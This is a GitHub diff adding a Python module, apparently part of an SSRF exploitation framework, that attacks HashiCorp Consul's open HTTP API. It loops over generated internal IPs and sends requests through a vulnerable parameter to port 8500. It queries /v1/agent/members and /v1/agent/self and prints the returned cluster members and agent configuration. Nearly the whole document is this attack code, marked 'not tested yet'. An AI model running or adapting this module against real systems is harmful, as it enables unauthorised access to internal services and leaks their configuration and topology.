File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ from utils .utils import *
2+ import logging
3+ import json
4+ import urllib .parse
5+
6+ # NOTE : NOT TESTED YET
7+ # might need some editing to work properly !
8+
9+ name = "consul"
10+ description = "Hashicorp Consul Info Leak - Open API"
11+ author = "Swissky"
12+ documentation = [
13+ "https://www.consul.io/api/agent.html"
14+ ]
15+
16+ class exploit ():
17+
18+ def __init__ (self , requester , args ):
19+ logging .info (f"Module '{ name } ' launched !" )
20+ gen_host = gen_ip_list ("127.0.0.1" , args .level )
21+ port = "8500"
22+
23+ # List Members
24+ for ip in gen_host :
25+ data = "/v1/agent/members"
26+ payload = wrapper_http (data , ip , port )
27+ r = requester .do_request (args .param , payload )
28+
29+ if r .json :
30+ print (r .json )
31+
32+ # Read Configuration
33+ for ip in gen_host :
34+ data = "/v1/agent/self"
35+ payload = wrapper_http (data , ip , port )
36+ r = requester .do_request (args .param , payload )
37+
38+ if r .json :
39+ print (r .json )
You can’t perform that action at this time.
0 commit comments